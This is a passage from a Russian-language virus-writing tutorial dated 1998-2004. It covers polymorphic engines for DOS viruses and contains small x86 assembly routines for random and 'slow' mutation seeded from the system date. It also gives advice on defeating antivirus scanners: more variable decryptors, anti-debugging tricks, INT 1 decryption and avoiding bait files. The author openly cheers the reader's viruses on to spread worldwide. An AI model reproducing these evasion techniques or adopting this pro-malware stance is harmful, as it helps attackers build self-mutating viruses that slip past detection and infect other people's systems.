    Это одно из самого важного в вашем полиморфизме.  Простейший  путь,
чтобы получить случайное число - обратиться к порту 40h и посмотреть на
то, что из него возвращается. Посмотрите на код:

 random:
  in  ax,40h
  in  al,40h
  ret

    Мы можем  также  использовать  INT  1Ah или что-то другое,  которое
возвращает различные значения  каждый  раз.  Если  нам  нужно  число  в
определенных   пределах,   мы   можем   воспользоваться  командой  AND.
Посмотрите на простейшую процедуру для  получения  случайного  числа  в
границах:

 random_in_range:
  push  bx
  xchg  ax,bx
  call  random
  and  ax,bx
  pop  bx
  ret

    Она вернет число в границах от 0 до АХ-1. Оптимизированным способом
сделать  такую  процедуру  является  использование  операции   деления.
Вспомните, что делает деление, и обратите внимание на остаток. Когда мы
выполняем деление,  остаток ни за  что  не  будет  больше  (или  равен)
делителю.  Т.е. остаток всегда лежит в пределах 0 и делитель-1. Давайте
посмотрим, как будет выглядеть процедура, использующая деление:

 random_in_range:
  push  bx dx
  xchg  ax,bx
  call  random
  xor  dx,dx
  div  bx
  xchg  ax,dx
  pop  dx bx
  ret

    Очень просто,  как вы можете видеть. Тему получения случайных чисел
мы  продолжим рассматривать в следующей части главы,  которая посвящена
медленному полиморфизму.

 % Медленный полиморфизм %
 -------------------------

    Поскольку вы  знаете,  что  все  это трахает антивирусы,  мы можете
подумать,  что это очень сложная  техника.  Авторы  первых  полиморфных
движков думали,  что наилучшим способом оттрахать антивирусы - является
делание расшифровщиков очень сильно  видоизменяемыми  каждый  раз.  Это
было  очень плодотворной идеей для первых полиморфиков,  но антивирмеры
скоро поняли,  что совсем не обязательно составлять отдельные процедуры
лечения  для  тысяч вариантов расшифровщиков,  а достаточно сканировать
сам мутационный алгоритм,  и вставили весьма простые сканеры сигнатур в
свои говенные проги ( aka AntiViruses ).  Но...  что случится,  если мы
сделаем процесс мутирования  очень  медленным?  Так  родился  медленный
полиморфизм. Да, с использованием этой простой идеи, которая не сложней
коровьей лепешки,  мы  можем  обдурить  антивирмеров.  Наиболее  важной
вещью, которую мы должны изменять для получения медленного полиморфика,
являются генераторы случайных чисел.  Изменяя их, мы получим технологию
медленной мутации для наших нужд. Мы можем усовершенствовать ее, но она
и так работает очень успешно для ВСЕХ наших нужд.  Нам нужны  случайные
числа,  которые  не  изменяются очень часто,  но раз в день,  или раз в
месяц,  и мы сможем потом забавно поиграться  с  этим  (если,  конечно,
захотим ) J

 random_range:
  push  bx cx dx
  xchg  ax,bx
  mov  ax,2C00h
  int  21h
  xchg  ax,dx
  xor  ax,0FFFFh
  xor  dx,dx
  div  bx
  xchg  ax,dx
  pop  dx cx bx
  ret

    А вот  с  подобной  процедуркой  ваш  полиморфик  станет  на   100%
медленным. Мне кажется, что идея очень прозрачна.

    Вместо этого  вы  можете  использовать  обычный  счетчик  запусков,
который выключает мутирование на  длительный  период  времени,  но  мне
больше нравится предыдущая техника медленного полиморфизма.

 % Расширенный полиморфизм %
 ---------------------------

    Ваши следующие  шаги  должны  быть   в   направлении   расширенного
(продвинутого)   полиморфизма.   Вы   должны   попытаться  генерировать
реалистичные структуры,  типа программ с обращениями  к  подпрограммам,
прерываниям,   играющие   с  уже  известными  величинами,  выполняющими
реальные сравнения перед условными операторами,  и вообще все,  что  вы
только   можете   придумать.   Вы   должны  постоянно  совершенствовать
изменчивость выших полиморфных движков:  если  они  медленные  и  очень
изменчивые,   антивирусы   окажутся   оттраханными.   Используйте   все
возможности:  вы можете расшифровывать ваш код сверху вниз и  наоборот,
используя si,  di,  bx и любые регистры, которые вы зарезервировали для
счетчиков, вы можете добавить генератор для длинных процедур, таких как
антиотладочные  трюки  (neg  sp/neg  sp,  not  sp/not  sp...),  сделать
расшифровщик-зашифровщик           части            программы-носителя,
расшифровщик-зашифровщик  с  использованием  INT 1 (дьявольский трюк!),
делать  пустые  перемещения  фрагментов  памяти,  использовать  словные
команды как байтовые, комбинировать и взаимозаменять все это...

    Вместо этого   вы   можете  попробовать  что-нибудб  ну  совершенно
продвинутое,  типа  вложенного  полиморфизма,  и   пр.   Насчет   этого
существует  много  интересных  документов,  например,  от  Methyl  (aka
Owl[FS]).

 % Последние слова про полиморфизм %
 ----------------------------------

    Но, поскольку  реальный  мир  - дерьмо,  антивирмеры будут пытаться
победить   все   наши   расшифровщики   при   помощи    автоматического
дизассемблирования.

    Но существует  и  защита  для наших жоп.  Мы должны крепко защищать
наши полиморфики шифрующими процедурами,  специально разработанными для
этого  (это должны быть СИЛЬНОАНТИОТЛАДОЧНЫЕ расшифровщики).  Поскольку
они не хотят затрачивать  много  времени  на  дизассемблирование  наших
движков, то они и увидят только то, что хотят видеть J Вы можете найти
очень хорошие варианты АНТИОТЛАДОЧНОЙ техники в главе с соответствующим
названием  (см.  выше).  А  пока они будут концентрировать их усилия на
изучении приманок,  и мы должны избегать  инфицирования  таких  файлов.
Много инфориации об этом вы найдете в других главах.
    Я надеюсь, что ваши полиморфики прокатятся по всему миру! J



(C) NF, 1998-2004